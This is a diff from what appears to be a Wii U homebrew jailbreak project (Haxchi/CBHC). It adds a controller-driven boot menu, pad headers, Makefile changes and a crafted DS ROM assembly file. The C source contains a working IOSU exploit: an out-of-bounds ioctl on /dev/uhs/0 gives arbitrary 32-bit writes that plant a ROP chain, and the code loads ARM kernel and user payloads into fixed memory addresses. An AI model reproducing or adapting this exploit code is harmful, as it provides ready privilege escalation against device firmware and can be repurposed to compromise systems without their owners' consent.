OSScreenPutFont(0, 1, "Entering Menu...");
|
||||
OSScreenFlipBuffers();
|
||||
waitCnt = 30;
|
||||
while(waitCnt--)
|
||||
{
|
||||
getButtonsDown(padscore_handle, vpad_handle);
|
||||
usleep(50000);
|
||||
}
|
||||
|
||||
cbhc_menu: ;
|
||||
int redraw = 1;
|
||||
int PosX = 0;
|
||||
int ListMax = 4;
|
||||
int clickT = 0;
|
||||
while(1)
|
||||
{
|
||||
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
|
||||
|
||||
if(WPADGetSpeakerVolume() == 0)
|
||||
{
|
||||
if(clickT == 0)
|
||||
clickT = 8;
|
||||
else
|
||||
{
|
||||
btnDown |= VPAD_BUTTON_A;
|
||||
clickT = 0;
|
||||
}
|
||||
WPADSetSpeakerVolume(1);
|
||||
}
|
||||
else if(clickT)
|
||||
{
|
||||
clickT--;
|
||||
if(clickT == 0)
|
||||
btnDown |= VPAD_BUTTON_DOWN;
|
||||
}
|
||||
|
||||
if( btnDown & VPAD_BUTTON_DOWN )
|
||||
{
|
||||
if(PosX+1 == ListMax)
|
||||
PosX = 0;
|
||||
else
|
||||
PosX++;
|
||||
redraw = 1;
|
||||
}
|
||||
|
||||
if( btnDown & VPAD_BUTTON_UP )
|
||||
{
|
||||
if( PosX <= 0 )
|
||||
PosX = (ListMax-1);
|
||||
else
|
||||
PosX--;
|
||||
redraw = 1;
|
||||
}
|
||||
|
||||
if( btnDown & VPAD_BUTTON_A )
|
||||
{
|
||||
if(PosX == 3)
|
||||
{
|
||||
cur_autoboot++;
|
||||
if(cur_autoboot == DEFAULT_MAX)
|
||||
cur_autoboot = DEFAULT_DISABLED;
|
||||
redraw = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
launchmode = PosX;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(redraw)
|
||||
{
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenPutFont(0, 0, verChar);
|
||||
|
||||
char printStr[64];
|
||||
__os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' ');
|
||||
OSScreenPutFont(0, 1, printStr);
|
||||
__os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' ');
|
||||
OSScreenPutFont(0, 2, printStr);
|
||||
__os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 2 == PosX ? '>' : ' ');
|
||||
OSScreenPutFont(0, 3, printStr);
|
||||
__os_snprintf(printStr,64,"%c Autoboot: %s", 3 == PosX ? '>' : ' ', bootOpts[cur_autoboot]);
|
||||
OSScreenPutFont(0, 4, printStr);
|
||||
|
||||
OSScreenFlipBuffers();
|
||||
redraw = 0;
|
||||
}
|
||||
usleep(50000);
|
||||
}
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenFlipBuffers();
|
||||
usleep(50000);
|
||||
|
||||
doIOSUexploit:
|
||||
WPADSetSpeakerVolume(oriVol);
|
||||
KPADShutdown();
|
||||
|
||||
if(cur_autoboot != autoboot)
|
||||
SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1);
|
||||
|
||||
SAVEFlushQuota(pClient, pCmd, slot, -1);
|
||||
FSDelClient(pClient);
|
||||
SAVEShutdown();
|
||||
nn_act_finalize();
|
||||
FSShutdown();
|
||||
|
||||
MEMFreeToDefaultHeap(pClient);
|
||||
MEMFreeToDefaultHeap(pCmd);
|
||||
|
||||
OSScreenClearBuffer(0);
|
||||
OSScreenFlipBuffers();
|
||||
|
||||
memcpy((void*)0xF5E70100, &sysmenu, 8);
|
||||
*(volatile unsigned int*)0xF5E70120 = (launchmode == LAUNCH_CFW_IMG);
|
||||
DCStoreRange((void*)0xF5E70100, 0x40);
|
||||
|
||||
int (*OSForceFullRelaunch)(void);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
|
||||
|
||||
//for patched menu launch
|
||||
void (*SYSLaunchMenu)(void);
|
||||
OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu);
|
||||
|
||||
int (*IOS_Open)(char *path, unsigned int mode);
|
||||
int (*IOS_Close)(int fd);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
|
||||
|
||||
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
|
||||
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
|
||||
|
||||
//!------ROP CHAIN-------
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
|
||||
|
||||
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
|
||||
|
||||
IOS_Close(dev_uhs_0_handle);
|
||||
|
||||
if(launchmode == LAUNCH_HBL)
|
||||
return 0x01800000;
|
||||
//sysmenu or cfw
|
||||
if(launchmode == LAUNCH_CFW_IMG)
|
||||
OSForceFullRelaunch();
|
||||
SYSLaunchMenu();
|
||||
OSExitThread(0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static unsigned int wpadToVpad(unsigned int buttons)
|
||||
{
|
||||
unsigned int conv_buttons = 0;
|
||||
|
||||
if(buttons & WPAD_BUTTON_LEFT)
|
||||
conv_buttons |= VPAD_BUTTON_LEFT;
|
||||
|
||||
if(buttons & WPAD_BUTTON_RIGHT)
|
||||
conv_buttons |= VPAD_BUTTON_RIGHT;
|
||||
|
||||
if(buttons & WPAD_BUTTON_DOWN)
|
||||
conv_buttons |= VPAD_BUTTON_DOWN;
|
||||
|
||||
if(buttons & WPAD_BUTTON_UP)
|
||||
conv_buttons |= VPAD_BUTTON_UP;
|
||||
|
||||
if(buttons & WPAD_BUTTON_PLUS)
|
||||
conv_buttons |= VPAD_BUTTON_PLUS;
|
||||
|
||||
if(buttons & WPAD_BUTTON_2)
|
||||
conv_buttons |= VPAD_BUTTON_X;
|
||||
|
||||
if(buttons & WPAD_BUTTON_1)
|
||||
conv_buttons |= VPAD_BUTTON_Y;
|
||||
|
||||
if(buttons & WPAD_BUTTON_B)
|
||||
conv_buttons |= VPAD_BUTTON_B;
|
||||
|
||||
if(buttons & WPAD_BUTTON_A)
|
||||
conv_buttons |= VPAD_BUTTON_A;
|
||||
|
||||
if(buttons & WPAD_BUTTON_MINUS)
|
||||
conv_buttons |= VPAD_BUTTON_MINUS;
|
||||
|
||||
if(buttons & WPAD_BUTTON_HOME)
|
||||
conv_buttons |= VPAD_BUTTON_HOME;
|
||||
|
||||
return conv_buttons;
|
||||
}
|
||||
|
||||
static unsigned int wpadClassicToVpad(unsigned int buttons)
|
||||
{
|
||||
unsigned int conv_buttons = 0;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_LEFT)
|
||||
conv_buttons |= VPAD_BUTTON_LEFT;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)
|
||||
conv_buttons |= VPAD_BUTTON_RIGHT;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_DOWN)
|
||||
conv_buttons |= VPAD_BUTTON_DOWN;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_UP)
|
||||
conv_buttons |= VPAD_BUTTON_UP;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_PLUS)
|
||||
conv_buttons |= VPAD_BUTTON_PLUS;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_X)
|
||||
conv_buttons |= VPAD_BUTTON_X;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_Y)
|
||||
conv_buttons |= VPAD_BUTTON_Y;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_B)
|
||||
conv_buttons |= VPAD_BUTTON_B;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_A)
|
||||
conv_buttons |= VPAD_BUTTON_A;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_MINUS)
|
||||
conv_buttons |= VPAD_BUTTON_MINUS;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_HOME)
|
||||
conv_buttons |= VPAD_BUTTON_HOME;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_ZR)
|
||||
conv_buttons |= VPAD_BUTTON_ZR;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_ZL)
|
||||
conv_buttons |= VPAD_BUTTON_ZL;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_R)
|
||||
conv_buttons |= VPAD_BUTTON_R;
|
||||
|
||||
if(buttons & WPAD_CLASSIC_BUTTON_L)
|
||||
conv_buttons |= VPAD_BUTTON_L;
|
||||
|
||||
return conv_buttons;
|
||||
}
|
||||
|
||||
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle)
|
||||
{
|
||||
int(*WPADProbe)(int chan, int * pad_type);
|
||||
int(*KPADRead)(int chan, void * data, int size);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe);
|
||||
OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead);
|
||||
|
||||
unsigned int btnDown = 0;
|
||||
|
||||
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
|
||||
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
|
||||
|
||||
int vpadError = -1;
|
||||
VPADData vpad;
|
||||
VPADRead(0, &vpad, 1, &vpadError);
|
||||
if(vpadError == 0)
|
||||
btnDown |= vpad.btns_d;
|
||||
|
||||
int i;
|
||||
for(i = 0; i < 4; i++)
|
||||
{
|
||||
int controller_type;
|
||||
if(WPADProbe(i, &controller_type) != 0)
|
||||
continue;
|
||||
KPADData kpadData;
|
||||
KPADRead(i, &kpadData, 1);
|
||||
if(kpadData.device_type <= 1)
|
||||
btnDown |= wpadToVpad(kpadData.btns_d);
|
||||
else
|
||||
btnDown |= wpadClassicToVpad(kpadData.classic.btns_d);
|
||||
}
|
||||
|
||||
return btnDown;
|
||||
}
|
||||
|
||||
static void uhs_exploit_init(unsigned int coreinit_handle)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
|
||||
//! Clear out our used MEM1 area
|
||||
memset((void*)0xF5E00000, 0, 0x00070000);
|
||||
DCStoreRange((void*)0xF5E00000, 0x00070000);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *pretend_root_hub = (int*)0xF5E60640;
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[5] = 1;
|
||||
ayylmao[8] = 0x1E00000;
|
||||
|
||||
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
|
||||
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
|
||||
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
|
||||
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
|
||||
|
||||
pretend_root_hub[33] = 0x1E00000;
|
||||
pretend_root_hub[78] = 0;
|
||||
|
||||
//! Store current CPU cache into main memory for IOSU to read
|
||||
DCStoreRange(ayylmao, 0x840);
|
||||
|
||||
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
|
||||
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
|
||||
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
|
||||
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
|
||||
|
||||
DCStoreRange(pretend_root_hub, 0x160);
|
||||
}
|
||||
|
||||
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
|
||||
{
|
||||
void (*DCStoreRange)(const void *addr, uint32_t length);
|
||||
void (*OSSleepTicks)(uint64_t ticks);
|
||||
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
|
||||
|
||||
//!------Variables used in exploit------
|
||||
int *ayylmao = (int*)0xF5E00000;
|
||||
//!-------------------------------------
|
||||
|
||||
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
|
||||
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
|
||||
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
|
||||
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
|
||||
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
|
||||
int request_buffer[] = { -(0xB349B), val };
|
||||
int output_buffer[32];
|
||||
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
|
||||
}
|
127
dsrom/CBHC/pad.h
Normal file
127
dsrom/CBHC/pad.h
Normal file
@ -0,0 +1,127 @@
|
||||
|
||||
#ifndef _PAD_H_
|
||||
#define _PAD_H_
|
||||
|
||||
typedef struct _KPADData
|
||||
{
|
||||
unsigned int btns_h;
|
||||
unsigned int btns_d;
|
||||
unsigned int btns_r;
|
||||
unsigned int unused_1[5];
|
||||
float pos_x;
|
||||
float pos_y;
|
||||
unsigned int unused_2[3];
|
||||
float angle_x;
|
||||
float angle_y;
|
||||
unsigned int unused_3[8];
|
||||
unsigned char device_type;
|
||||
unsigned char wpad_error;
|
||||
unsigned char pos_valid;
|
||||
unsigned char unused_4[1];
|
||||
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
float stick_x;
|
||||
float stick_y;
|
||||
} nunchuck;
|
||||
|
||||
struct
|
||||
{
|
||||
unsigned int btns_h;
|
||||
unsigned int btns_d;
|
||||
unsigned int btns_r;
|
||||
float lstick_x;
|
||||
float lstick_y;
|
||||
float rstick_x;
|
||||
float rstick_y;
|
||||
float ltrigger;
|
||||
float rtrigger;
|
||||
} classic;
|
||||
|
||||
unsigned int unused_6[20];
|
||||
};
|
||||
unsigned int unused_7[16];
|
||||
} KPADData;
|
||||
|
||||
#define WPAD_BUTTON_LEFT 0x0001
|
||||
#define WPAD_BUTTON_RIGHT 0x0002
|
||||
#define WPAD_BUTTON_DOWN 0x0004
|
||||
#define WPAD_BUTTON_UP 0x0008
|
||||
#define WPAD_BUTTON_PLUS 0x0010
|
||||
#define WPAD_BUTTON_2 0x0100
|
||||
#define WPAD_BUTTON_1 0x0200
|
||||
#define WPAD_BUTTON_B 0x0400
|
||||
#define WPAD_BUTTON_A 0x0800
|
||||
#define WPAD_BUTTON_MINUS 0x1000
|
||||
#define WPAD_BUTTON_Z 0x2000
|
||||
#define WPAD_BUTTON_C 0x4000
|
||||
#define WPAD_BUTTON_HOME 0x8000
|
||||
|
||||
#define WPAD_CLASSIC_BUTTON_UP 0x0001
|
||||
#define WPAD_CLASSIC_BUTTON_LEFT 0x0002
|
||||
#define WPAD_CLASSIC_BUTTON_ZR 0x0004
|
||||
#define WPAD_CLASSIC_BUTTON_X 0x0008
|
||||
#define WPAD_CLASSIC_BUTTON_A 0x0010
|
||||
#define WPAD_CLASSIC_BUTTON_Y 0x0020
|
||||
#define WPAD_CLASSIC_BUTTON_B 0x0040
|
||||
#define WPAD_CLASSIC_BUTTON_ZL 0x0080
|
||||
#define WPAD_CLASSIC_BUTTON_R 0x0200
|
||||
#define WPAD_CLASSIC_BUTTON_PLUS 0x0400
|
||||
#define WPAD_CLASSIC_BUTTON_HOME 0x0800
|
||||
#define WPAD_CLASSIC_BUTTON_MINUS 0x1000
|
||||
#define WPAD_CLASSIC_BUTTON_L 0x2000
|
||||
#define WPAD_CLASSIC_BUTTON_DOWN 0x4000
|
||||
#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000
|
||||
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
float x,y;
|
||||
} Vec2D;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint16_t x, y; /* Touch coordinates */
|
||||
uint16_t touched; /* 1 = Touched, 0 = Not touched */
|
||||
uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
|
||||
} VPADTPData;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint32_t btns_h; /* Held buttons */
|
||||
uint32_t btns_d; /* Buttons that are pressed at that instant */
|
||||
uint32_t btns_r; /* Released buttons */
|
||||
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
|
||||
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
|
||||
VPADTPData tpdata; /* Normal touchscreen data */
|
||||
VPADTPData tpdata1; /* Modified touchscreen data 1 */
|
||||
VPADTPData tpdata2; /* Modified touchscreen data 2 */
|
||||
char unknown6a[0xa0 - 0x6a];
|
||||
uint8_t volume;
|
||||
uint8_t battery; /* 0 to 6 */
|
||||
uint8_t unk_volume; /* One less than volume */
|
||||
char unknowna4[0xac - 0xa4];
|
||||
} VPADData;
|
||||
|
||||
#define VPAD_BUTTON_A 0x8000
|
||||
#define VPAD_BUTTON_B 0x4000
|
||||
#define VPAD_BUTTON_X 0x2000
|
||||
#define VPAD_BUTTON_Y 0x1000
|
||||
#define VPAD_BUTTON_LEFT 0x0800
|
||||
#define VPAD_BUTTON_RIGHT 0x0400
|
||||
#define VPAD_BUTTON_UP 0x0200
|
||||
#define VPAD_BUTTON_DOWN 0x0100
|
||||
#define VPAD_BUTTON_ZL 0x0080
|
||||
#define VPAD_BUTTON_ZR 0x0040
|
||||
#define VPAD_BUTTON_L 0x0020
|
||||
#define VPAD_BUTTON_R 0x0010
|
||||
#define VPAD_BUTTON_PLUS 0x0008
|
||||
#define VPAD_BUTTON_MINUS 0x0004
|
||||
#define VPAD_BUTTON_HOME 0x0002
|
||||
#define VPAD_BUTTON_SYNC 0x0001
|
||||
|
||||
|
||||
#endif
|
20
dsrom/CBHC/types.h
Normal file
20
dsrom/CBHC/types.h
Normal file
@ -0,0 +1,20 @@
|
||||
#ifndef TYPES_H
|
||||
#define TYPES_H
|
||||
|
||||
typedef unsigned long long uint64_t;
|
||||
typedef long long int64_t;
|
||||
typedef unsigned int uint32_t;
|
||||
typedef int int32_t;
|
||||
typedef unsigned short uint16_t;
|
||||
typedef short int16_t;
|
||||
typedef unsigned char uint8_t;
|
||||
typedef char int8_t;
|
||||
|
||||
typedef uint32_t size_t;
|
||||
|
||||
typedef _Bool bool;
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define null 0
|
||||
|
||||
#endif /* TYPES_H */
|
108
dsrom/Makefile
108
dsrom/Makefile
@ -6,6 +6,16 @@ else
|
||||
ZIP = zip
|
||||
endif
|
||||
|
||||
ifeq ($(CB), 1)
|
||||
HAXCHI_S = haxchi_cb.s
|
||||
ROP_S = haxchi_rop_cb.s
|
||||
ROP_BIN = haxchi_rop_cb.bin
|
||||
else
|
||||
HAXCHI_S = haxchi.s
|
||||
ROP_S = haxchi_rop.s
|
||||
ROP_BIN = haxchi_rop.bin
|
||||
endif
|
||||
|
||||
all: setup animalcrossing brainage dkjclimber guardiansigns kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime \
|
||||
pokemonranger sfcommand sm64ds yoshids zeldaph zeldast \
|
||||
animalcrossing.zip brainage.zip dkjclimber.zip guardiansigns.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip \
|
||||
@ -47,154 +57,155 @@ setup:
|
||||
@cd option_select && make && cd ..
|
||||
@cd hbl_loader && make && cd ..
|
||||
@cd cfw_booter && make && cd ..
|
||||
@cd CBHC && make && cd ..
|
||||
|
||||
setup_animalcrossing:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f animalcrossing_defs.s defines.s
|
||||
|
||||
setup_brainage:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f brainage_defs.s defines.s
|
||||
|
||||
setup_dkjclimber:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f dkjclimber_defs.s defines.s
|
||||
|
||||
setup_guardiansigns:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f guardiansigns_defs.s defines.s
|
||||
|
||||
setup_kirby:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f kirby_defs.s defines.s
|
||||
|
||||
setup_kirbymassattack:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f kirbymassattack_defs.s defines.s
|
||||
|
||||
setup_mariokartds:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f mariokartds_defs.s defines.s
|
||||
|
||||
setup_masterofdisguise:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f masterofdisguise_defs.s defines.s
|
||||
|
||||
setup_newsmb_eur:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f newsmb_eur_defs.s defines.s
|
||||
|
||||
setup_pokemonranger:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f pokemonranger_defs.s defines.s
|
||||
|
||||
setup_partnersintime:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f partnersintime_defs.s defines.s
|
||||
|
||||
setup_sfcommand:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f sfcommand_defs.s defines.s
|
||||
|
||||
setup_sm64ds:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f sm64ds_defs.s defines.s
|
||||
|
||||
setup_yoshids:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f yoshids_defs.s defines.s
|
||||
|
||||
setup_zeldaph:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f zeldaph_defs.s defines.s
|
||||
|
||||
setup_zeldast:
|
||||
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
|
||||
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
|
||||
@cp -f zeldast_defs.s defines.s
|
||||
|
||||
animalcrossing.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds animalcrossing.nds
|
||||
|
||||
brainage.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds brainage.nds
|
||||
@cp brainage.nds yoshitouchandgo.nds
|
||||
|
||||
dkjclimber.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds dkjclimber.nds
|
||||
|
||||
guardiansigns.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds guardiansigns.nds
|
||||
|
||||
kirby.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds kirby.nds
|
||||
|
||||
kirbymassattack.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds kirbymassattack.nds
|
||||
|
||||
mariokartds.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds mariokartds.nds
|
||||
@cp mariokartds.nds newsmb.nds
|
||||
|
||||
masterofdisguise.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds masterofdisguise.nds
|
||||
|
||||
newsmb_eur.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds newsmb_eur.nds
|
||||
|
||||
pokemonranger.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds pokemonranger.nds
|
||||
|
||||
partnersintime.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds partnersintime.nds
|
||||
|
||||
sfcommand.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds sfcommand.nds
|
||||
|
||||
sm64ds.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds sm64ds.nds
|
||||
@cp sm64ds.nds kirbycanvascurse.nds
|
||||
|
||||
yoshids.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds yoshids.nds
|
||||
@cp yoshids.nds wwtouched.nds
|
||||
@cp yoshids.nds bigbrainacademy.nds
|
||||
|
||||
zeldaph.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds zeldaph.nds
|
||||
|
||||
zeldast.nds:
|
||||
@armips haxchi_rop.s
|
||||
@armips haxchi.s
|
||||
@armips $(ROP_S)
|
||||
@armips $(HAXCHI_S)
|
||||
@mv rom.nds zeldast.nds
|
||||
@cp zeldast.nds explorersofsky.nds
|
||||
@cp zeldast.nds shadowsofalmia.nds
|
||||
@ -259,4 +270,5 @@ clean:
|
||||
@cd option_select && make clean && cd ..
|
||||
@cd hbl_loader && make clean && cd ..
|
||||
@cd cfw_booter && make clean && cd ..
|
||||
@cd CBHC && make clean && cd ..
|
||||
@echo "all cleaned up !"
|
||||
|
40
dsrom/haxchi_cb.s
Normal file
40
dsrom/haxchi_cb.s
Normal file
@ -0,0 +1,40 @@
|
||||
.include "defines.s"
|
||||
.create "rom.nds", 0
|
||||
|
||||
.nds
|
||||
|
||||
.org 0x000
|
||||
.ascii "HAXCHI" ; Game Title
|
||||
|
||||
.org 0x00C
|
||||
.ascii "HAXX" ; Gamecode
|
||||
.ascii "01" ; Makercode
|
||||
.byte 0x00 ; Unitcode
|
||||
|
||||
.org 0x020
|
||||
.word arm9_data ; ARM9 rom_offset
|
||||
.word 0x2000800 ; ARM9 entry_address
|
||||
.word 0x2000000 ; ARM9 ram_address
|
||||
.word arm9_data_end - arm9_data ; ARM9 size
|
||||
.word arm7_data ; ARM7 rom_offset
|
||||
.word 0x2000000 ; ARM7 entry_address
|
||||
.word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address
|
||||
.word arm7_data_end - arm7_data ; ARM7 size
|
||||
|
||||
.org 0x080
|
||||
.word total_size ; Total Used ROM size
|
||||
.word 0x4000 ; ROM Header Size
|
||||
|
||||
.org 0x8000
|
||||
arm9_data:
|
||||
.incbin "haxchi_rop_cb.bin"
|
||||
arm9_data_end:
|
||||
|
||||
.align 0x1000
|
||||
arm7_data:
|
